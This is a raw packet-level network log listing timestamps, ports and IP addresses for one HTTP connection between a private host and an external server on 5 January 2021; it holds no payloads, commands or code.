Jan 5, 2021 19:05:23.209151030 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209175110 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209204912 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209211111 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209227085 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209245920 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209250927 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209264994 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209279060 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209290981 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209326982 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209341049 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209352970 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209366083 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209377050 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209387064 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209412098 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209420919 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209451914 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209490061 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209490061 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209516048 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209530115 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209553003 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209553957 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209579945 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209599018 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209605932 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209624052 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209657907 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209662914 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209695101 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209700108 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209723949 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209726095 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209763050 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209780931 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209789991 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209816933 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209837914 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209841013 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209867001 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209881067 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209898949 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209903955 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209939003 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209944963 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209981918 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209983110 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209995031 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210009098 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210031033 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210047007 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210061073 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210073948 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210108995 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210109949 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210134983 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210151911 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210167885 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210172892 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210207939 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210212946 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210249901 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210252047 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210268974 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210275888 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210313082 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210314035 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210328102 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210340977 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210376024 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210376978 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210402966 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210416079 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210436106 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210438967 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210474968 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210478067 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210514069 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210516930 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210530043 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210542917 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210577965 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210580111 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210599899 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210608959 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210644960 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210659027 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210670948 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210692883 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210707903 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210710049 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210743904 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210760117 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210783958 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210787058 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210809946 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210813999 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210839987 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210855007 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210880995 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210896015 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210911989 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210916996 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210943937 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.210958004 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210977077 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.210982084 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.211018085 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.211021900 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.211059093 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.211126089 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.257222891 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.257273912 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.257313967 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.257338047 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.257409096 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.257441044 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.257474899 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.257474899 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.257481098 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.257484913 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.257488966 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.257517099 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.257541895 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.257554054 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.257580042 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.257606983 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.257610083 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.257615089 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.257646084 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.257663012 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.257673025 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.257704973 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.257709026 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.257713079 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.257744074 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.257747889 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.257785082 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.257792950 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.257808924 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.257826090 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.257847071 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.257862091 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.257872105 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.257878065 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.257908106 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.257929087 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.257934093 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.257941961 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.257972002 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.257981062 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.258007050 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.258022070 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.258047104 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.258054972 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.258071899 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.258091927 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.258111000 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.258126974 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.258145094 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.258174896 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.261913061 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.261967897 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.261995077 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262001991 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262033939 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262038946 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262059927 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262073994 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262099028 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262114048 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262125969 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262130022 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262162924 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262176037 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262188911 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262197971 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262238979 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262238979 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262264967 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262279987 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262303114 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262320995 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262327909 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262341976 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262363911 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262382984 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262389898 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262394905 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262424946 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262439013 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262460947 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262481928 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262494087 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262501955 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262527943 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262530088 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262564898 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262569904 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262589931 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262608051 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262629032 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262646914 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262655973 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262664080 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262692928 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262706041 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262727022 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262742043 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262768030 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262794018 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262794018 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262809038 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262830973 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262850046 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262857914 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262867928 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262892962 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262918949 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262953043 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.262953997 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.262964010 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.263010025 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.263020039 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.263067961 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.264720917 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.264764071 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.264790058 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.264825106 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.264857054 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.264859915 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.264872074 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.264900923 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.264914989 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.264925957 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.264928102 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.264964104 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.264976978 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.264990091 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.264991999 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265027046 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265045881 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265052080 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265067101 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265086889 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265110016 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265117884 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265120983 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265141010 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265162945 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265187025 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265192986 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265208006 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265223026 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265248060 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265261889 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265274048 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265285015 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265310049 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265336990 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265345097 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265346050 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265379906 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265388012 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265398979 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265448093 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265459061 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265460968 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265486956 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265522003 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265539885 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265547037 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265583992 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265584946 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265597105 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265624046 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265655994 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265664101 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265667915 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265688896 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265716076 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265726089 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265750885 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265762091 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265777111 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265788078 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265805960 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265832901 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265834093 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265844107 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265860081 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265894890 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265897989 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265912056 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265923023 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265928984 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265958071 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.265963078 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265985966 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.265993118 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266030073 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266033888 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.266048908 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.266053915 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266097069 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266124010 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266159058 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266192913 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266232967 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266257048 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266274929 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.266283035 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.266294003 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266310930 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266329050 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.266338110 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.266340017 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266366005 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266400099 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266424894 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266459942 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266494036 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266535044 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266558886 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266594887 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266627073 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266654968 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266671896 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266700983 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266717911 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266746044 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266771078 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266807079 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266820908 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.266832113 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266833067 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.266839981 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.266845942 CET	49167	80	192.168.2.22	83.172.144.37
